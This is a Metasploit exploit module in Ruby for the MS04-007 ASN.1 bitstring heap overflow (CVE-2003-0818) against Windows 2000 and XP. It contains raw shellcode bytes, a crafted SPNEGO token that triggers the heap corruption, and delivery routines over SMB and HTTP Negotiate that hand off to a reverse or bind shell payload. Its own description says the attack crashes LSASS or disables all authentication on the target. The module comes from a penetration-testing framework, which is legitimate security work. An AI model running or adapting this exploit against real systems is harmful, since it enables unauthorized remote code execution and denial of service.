require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft ASN.1 Library Bitstring Heap Overflow',
'Description'=> %q{
This is an exploit for a previously undisclosed
vulnerability in the bit string decoding code in the
Microsoft ASN.1 library. This vulnerability is not related
to the bit string vulnerability described in eEye advisory
AD20040210-2. Both vulnerabilities were fixed in the
MS04-007 patch.
You are only allowed one attempt with this vulnerability. If
the payload fails to execute, the LSASS system service will
crash and the target system will automatically reboot itself
in 60 seconds. If the payload succeeeds, the system will no
longer be able to process authentication requests, denying
all attempts to login through SMB or at the console. A
reboot is required to restore proper functioning of an
exploited system.
This exploit has been successfully tested with the win32/*/reverse_tcp
payloads, however a few problems were encounted when using the
equivalent bind payloads. Your mileage may vary.
},
'Author' => [ 'Solar Eclipse <solareclipse@phreedom.org>' ],
'License'=> GPL_LICENSE,
'Version'=> '$Revision: 9929 $',
'References' =>
[
[ 'CVE', '2003-0818'],
[ 'OSVDB', '3902' ],
[ 'BID', '9633'],
[ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'],
[ 'MSB', 'MS04-007'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => true,
'Payload'=>
{
'Space'=> 1024,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[
'Windows 2000 SP2-SP4 + Windows XP SP0-SP1',
{
'Platform' => 'win',
},
],
],
'DisclosureDate' => 'Feb 10 2004',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PROTO', [ true,"Which protocol to use: http or smb", 'smb']),
], self.class)
end
def autofilter
false
end
def exploit
stage0 =
"\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+
"\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+
"\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+
"\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+
"\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+
"\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+
"\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+
"\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+
"\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+
"\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+
"\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+
"\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+
"\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+
"\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+
"\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+
"\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+
"\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+
"\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+
"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+
"\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+
"\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+
"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+
"\x08\x00\xeb\xfe"
token = spnego_token(stage0, payload.encoded)
case datastore['PROTO']
when 'smb'
exploit_smb(token)
when 'http'
exploit_http(token)
else
print_status("Invalid application protocol specified, use smb or http")
end
end
def exploit_smb(token)
connect
client = Rex::Proto::SMB::Client.new(sock)
begin
client.session_request(smb_hostname()) if not datastore['SMBDirect']
client.negotiate
client.session_setup_ntlmv2_blob(token)
rescue => e
if (e.to_s =~ /error code 0x00050001/)
print_error("The target system has already been exploited")
else
print_error("Error: #{e}")
end
end
handler
disconnect
end
def exploit_http(token)
connect
req = "GET / HTTP/1.0\r\n"
req << "Host: #{ datastore['RHOST']}\r\n"
req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n"
sock.put(req)
res = sock.get_once
if (res and res =~ /0x80090301/)
print_error("This server does not support the Negotiate protocol or has already been exploited")
end
if (res and res =~ /0x80090304/)
print_error("This server responded with error code 0x80090304 (wth?)")
end
handler
disconnect
end
def enc_asn1(str)
Rex::Proto::SMB::Utils::asn1encode(str)
end
def enc_bits(str)
"\x03" + enc_asn1("\x00" + str)
end
def enc_constr(*str_arr)
"\x23" + enc_asn1(str_arr.join(''))
end
def spnego_token(stage0, stage1)
if !(stage0 and stage1)
print_status("Invalid parameters passed to spnego_token")
return
end
if (stage0.length > 1032)
print_status("The stage 0 shellcode is longer than 1032 bytes")
return
end
tag = "\x90\x42\x90\x42\x90\x42\x90\x42"
if ((tag.length + stage1.length) > 1033)
print_status("The stage 1 shellcode is too long")
return
end
fw = "\xf8\x0f\x01\x00"
bk = "\xf8\x0f\x01"
peblock = "\x20\xf0\xfd\x7f"
bitstring = enc_constr(
enc_bits("A" * 1024),
"\x03\x00",
enc_constr(
enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))),
enc_constr( enc_bits(fw + bk) ),
enc_constr(
enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))),
enc_constr(
enc_bits("\xeb\x06" + make_nops(6)),
enc_bits("D" * 1040)
)
)
)
)
token = "\x60" + enc_asn1(
"\x06\x06\x2b\x06\x01\x05\x05\x02" +
"\xa0" + enc_asn1(
"\x30" + enc_asn1(
"\xa1" + enc_asn1(
bitstring
)
)
)
)
return token
end
end